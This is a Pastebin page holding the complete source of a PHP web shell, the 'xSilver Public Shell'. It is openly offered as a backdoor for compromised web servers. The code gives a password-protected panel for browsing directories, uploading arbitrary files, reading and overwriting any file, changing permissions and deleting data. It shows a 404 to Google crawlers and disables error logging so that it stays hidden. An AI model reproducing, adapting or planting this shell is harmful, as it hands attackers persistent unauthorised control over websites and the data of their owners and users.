Advertisement
silverph123

Mini Shell

Nov 25th, 2016
1,248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.21 KB | None | 0 0
  1. <?php
  2. $auth_pass = "0e3cefab9184c25b69c4bfcb240f2687";
  3. $color = "#00ff00";
  4. $default_action = 'FilesMan';
  5. @define('SELF_PATH', __FILE__);
  6. @setcookie("inject","active",time() +3600*24*7);
  7. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  8. header('HTTP/1.0 404 Not Found');
  9. exit;
  10. }
  11. @session_start();
  12. @error_reporting(0);
  13. @ini_set('error_log',NULL);
  14. @ini_set('log_errors',0);
  15. @ini_set('max_execution_time',0);
  16. @ini_set('output_buffering',0);
  17. @ini_set('display_errors', 0);
  18. @set_time_limit(0);
  19. @set_magic_quotes_runtime(0);
  20. @define('VERSION', '2.1');
  21. if( get_magic_quotes_gpc() ) {
  22. function stripslashes_array($array) {
  23. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  24. }
  25. $_POST = stripslashes_array($_POST);
  26. }
  27. function printLogin() {
  28. ?>
  29. <center><img src="http://i.imgur.com/eIaP0xA.gif" width="350" /> <br></center>
  30. <strong><center><font size="10">Wat'ya looking foh?</strong></center></font>
  31. <p><center><font size="5" color="black">Ain't a good idea, bitch.</center></p>
  32. <p><center> -xSilver </center></p></font></span></font>
  33. <style>
  34. input { margin:0;background-color:#ffff;border:0px solid #191919; }
  35. </style>
  36. <center>
  37. <form method=post>
  38. <input type=password name=pass>
  39. <center>
  40. </form>
  41. </body>
  42. <?php
  43. exit;
  44. }
  45. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  46. if( empty( $auth_pass ) ||
  47. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  48. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  49. else
  50. printLogin();
  51. set_time_limit(0);
  52. error_reporting(0);
  53.  
  54. if(get_magic_quotes_gpc()){
  55. foreach($_POST as $key=>$value){
  56. $_POST[$key] = stripslashes($value);
  57. }
  58. }
  59. echo '<!DOCTYPE HTML>
  60. <HTML>
  61. <HEAD>
  62. <link rel="icon" type="image/png" href="https://s32.postimg.org/k6ix0n5xh/BP2.png">
  63. <link href="http://fonts.googleapis.com/css?family=Averia+Sans+Libre" rel="stylesheet" type="text/css">
  64. <link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css">
  65. <link href="http://fonts.googleapis.com/css?family=Nosifer" rel="stylesheet" type="text/css">
  66. <link href="http://fonts.googleapis.com/css?family=Play:700" rel="stylesheet" type="text/css">
  67. <link href="https://fonts.googleapis.com/css?family=Kdam+Thmor" rel="stylesheet" type="text/css">
  68.  
  69. <title>xSilver Public Shell</title>
  70. <style>
  71. body{
  72. color: #fff;
  73. font-family: Play, cursive;
  74. background-image: url(http://nettutsplus.s3.amazonaws.com/31_fireflyEffect/demo%20and%20source/images/bg.jpg);
  75. cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png), default;
  76. text-shadow:0px 0px 1px #757575;
  77. }
  78. a:hover {cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png),default;}
  79. #content tr:hover{
  80. background-color: #3399ff;
  81. text-shadow:0px 0px 10px #fff;
  82. }
  83. #content .first{
  84. background-color: #3399ff;
  85. }
  86. #content .first:hover{
  87. background-color: #3399ff;
  88. text-shadow:0px 0px 1px #757575;
  89. }
  90. table{
  91. border: 1px #3399ff dotted;
  92. }
  93. H1{
  94. font-size: 45px;
  95. color:#fff;
  96. font-family: Orbitron, cursive;
  97. text-shadow: 0 0 10px #fff,0 0 20px #33ccff,0 0 40px #33ccff,0 0 60px #33ccff,0 0 90px #33ccff,0 0 5px #33ccff;
  98. }
  99. a{
  100. color: #fff;
  101. text-decoration: none;
  102. }
  103. a:hover{
  104. color: #fff;
  105. text-shadow:0px 0px 10px #3399ff, 0px 0px 20px #3399ff;;
  106. }
  107. input,select,textarea{
  108. border: 1px #000000 solid;
  109. -moz-border-radius: 5px;
  110. -webkit-border-radius:5px;
  111. border-radius:5px;
  112. }
  113. </style>
  114. </HEAD>
  115. <BODY>
  116. <H1><center><img src="http://i.imgur.com/3GRdAgq.png" heigh=40px width=40px />
  117. xSilver Public Shell <img src="http://i.imgur.com/3GRdAgq.png" heigh=40px width=40px />
  118. </center></H1>
  119. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  120. <tr><td>Directory : ';
  121. if(isset($_GET['path'])){
  122. $path = $_GET['path'];
  123. }else{
  124. $path = getcwd();
  125. }
  126. $path = str_replace('\\','/',$path);
  127. $paths = explode('/',$path);
  128.  
  129. foreach($paths as $id=>$pat){
  130. if($pat == '' && $id == 0){
  131. $a = true;
  132. echo '<a href="?path=/">/</a>';
  133. continue;
  134. }
  135. if($pat == '') continue;
  136. echo '<a href="?path=';
  137. for($i=0;$i<=$id;$i++){
  138. echo "$paths[$i]";
  139. if($i != $id) echo "/";
  140. }
  141. echo '">'.$pat.'</a>/';
  142. }
  143. echo '</td></tr><tr><td>';
  144. if(isset($_FILES['file'])){
  145. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  146. echo '<font color="green">File Upload Done.</font><br />';
  147. }else{
  148. echo '<font color="red">File Upload Error.</font><br />';
  149. }
  150. }
  151. echo '<form enctype="multipart/form-data" method="POST">
  152. Upload File : <input type="file" name="file" />
  153. <input type="submit" value="upload" />
  154. </form>
  155. </td></tr>';
  156. if(isset($_GET['filesrc'])){
  157. echo "<tr><td>Current File : ";
  158. echo $_GET['filesrc'];
  159. echo '</tr></td></table><br />';
  160. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  161. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  162. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  163. if($_POST['opt'] == 'chmod'){
  164. if(isset($_POST['perm'])){
  165. if(chmod($_POST['path'],$_POST['perm'])){
  166. echo '<font color="green">Change Permission Done.</font><br />';
  167. }else{
  168. echo '<font color="red">Change Permission Error.</font><br />';
  169. }
  170. }
  171. echo '<form method="POST">
  172. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  173. <input type="hidden" name="path" value="'.$_POST['path'].'">
  174. <input type="hidden" name="opt" value="chmod">
  175. <input type="submit" value="Go" />
  176. </form>';
  177. }elseif($_POST['opt'] == 'rename'){
  178. if(isset($_POST['newname'])){
  179. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  180. echo '<font color="green">Change Name Done.</font><br />';
  181. }else{
  182. echo '<font color="red">Change Name Error.</font><br />';
  183. }
  184. $_POST['name'] = $_POST['newname'];
  185. }
  186. echo '<form method="POST">
  187. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  188. <input type="hidden" name="path" value="'.$_POST['path'].'">
  189. <input type="hidden" name="opt" value="rename">
  190. <input type="submit" value="Go" />
  191. </form>';
  192. }elseif($_POST['opt'] == 'edit'){
  193. if(isset($_POST['src'])){
  194. $fp = fopen($_POST['path'],'w');
  195. if(fwrite($fp,$_POST['src'])){
  196. echo '<font color="green">Edit File Done.</font><br />';
  197. }else{
  198. echo '<font color="red">Edit File Error.</font><br />';
  199. }
  200. fclose($fp);
  201. }
  202. echo '<form method="POST">
  203. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  204. <input type="hidden" name="path" value="'.$_POST['path'].'">
  205. <input type="hidden" name="opt" value="edit">
  206. <input type="submit" value="Go" />
  207. </form>';
  208. }
  209. echo '</center>';
  210. }else{
  211. echo '</table><br /><center>';
  212. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  213. if($_POST['type'] == 'dir'){
  214. if(rmdir($_POST['path'])){
  215. echo '<font color="green">Delete Dir Done.</font><br />';
  216. }else{
  217. echo '<font color="red">Delete Dir Error.</font><br />';
  218. }
  219. }elseif($_POST['type'] == 'file'){
  220. if(unlink($_POST['path'])){
  221. echo '<font color="green">Delete File Done.</font><br />';
  222. }else{
  223. echo '<font color="red">Delete File Error.</font><br />';
  224. }
  225. }
  226. }
  227. echo '</center>';
  228. $scandir = scandir($path);
  229. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  230. <tr class="first">
  231. <td><center>Name</center></td>
  232. <td><center>Size</center></td>
  233. <td><center>Permissions</center></td>
  234. <td><center>Options</center></td>
  235. </tr>';
  236.  
  237. foreach($scandir as $dir){
  238. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  239. echo "<tr>
  240. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  241. <td><center>--</center></td>
  242. <td><center>";
  243. if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
  244. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  245. echo perms("$path/$dir");
  246. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  247.  
  248. echo "</center></td>
  249. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  250. <select name=\"opt\">
  251. <option value=\"\"></option>
  252. <option value=\"delete\">Delete</option>
  253. <option value=\"chmod\">Chmod</option>
  254. <option value=\"rename\">Rename</option>
  255. </select>
  256. <input type=\"hidden\" name=\"type\" value=\"dir\">
  257. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  258. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  259. <input type=\"submit\" value=\">\" />
  260. </form></center></td>
  261. </tr>";
  262. }
  263. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  264. foreach($scandir as $file){
  265. if(!is_file("$path/$file")) continue;
  266. $size = filesize("$path/$file")/1024;
  267. $size = round($size,3);
  268. if($size >= 1024){
  269. $size = round($size/1024,2).' MB';
  270. }else{
  271. $size = $size.' KB';
  272. }
  273.  
  274. echo "<tr>
  275. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  276. <td><center>".$size."</center></td>
  277. <td><center>";
  278. if(is_writable("$path/$file")) echo '<font color="#00ff00">';
  279. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  280. echo perms("$path/$file");
  281. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  282. echo "</center></td>
  283. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  284. <select name=\"opt\">
  285. <option value=\"\"></option>
  286. <option value=\"delete\">Delete</option>
  287. <option value=\"chmod\">Chmod</option>
  288. <option value=\"rename\">Rename</option>
  289. <option value=\"edit\">Edit</option>
  290. </select>
  291. <input type=\"hidden\" name=\"type\" value=\"file\">
  292. <input type=\"hidden\" name=\"name\" value=\"$file\">
  293. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  294. <input type=\"submit\" value=\">\" />
  295. </form></center></td>
  296. </tr>";
  297. }
  298. echo '</table>
  299. </div>';
  300. }
  301. echo '<br />xSilver Mini Shell <font color="red">1.0</font>, Coded By <font color="red">xSilver</font><br />Email: <font color="red">[email protected]</font>
  302. </BODY>
  303. </HTML>';
  304. function perms($file){
  305. $perms = fileperms($file);
  306.  
  307. if (($perms & 0xC000) == 0xC000) {
  308. // Socket
  309. $info = 's';
  310. } elseif (($perms & 0xA000) == 0xA000) {
  311. // Symbolic Link
  312. $info = 'l';
  313. } elseif (($perms & 0x8000) == 0x8000) {
  314. // Regular
  315. $info = '-';
  316. } elseif (($perms & 0x6000) == 0x6000) {
  317. // Block special
  318. $info = 'b';
  319. } elseif (($perms & 0x4000) == 0x4000) {
  320. // Directory
  321. $info = 'd';
  322. } elseif (($perms & 0x2000) == 0x2000) {
  323. // Character special
  324. $info = 'c';
  325. } elseif (($perms & 0x1000) == 0x1000) {
  326. // FIFO pipe
  327. $info = 'p';
  328. } else {
  329. // Unknown
  330. $info = 'u';
  331. }
  332.  
  333. // Owner
  334. $info .= (($perms & 0x0100) ? 'r' : '-');
  335. $info .= (($perms & 0x0080) ? 'w' : '-');
  336. $info .= (($perms & 0x0040) ?
  337. (($perms & 0x0800) ? 's' : 'x' ) :
  338. (($perms & 0x0800) ? 'S' : '-'));
  339.  
  340. // Group
  341. $info .= (($perms & 0x0020) ? 'r' : '-');
  342. $info .= (($perms & 0x0010) ? 'w' : '-');
  343. $info .= (($perms & 0x0008) ?
  344. (($perms & 0x0400) ? 's' : 'x' ) :
  345. (($perms & 0x0400) ? 'S' : '-'));
  346.  
  347. // World
  348. $info .= (($perms & 0x0004) ? 'r' : '-');
  349. $info .= (($perms & 0x0002) ? 'w' : '-');
  350. $info .= (($perms & 0x0001) ?
  351. (($perms & 0x0200) ? 't' : 'x' ) :
  352. (($perms & 0x0200) ? 'T' : '-'));
  353.  
  354. return $info;
  355. }
  356. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement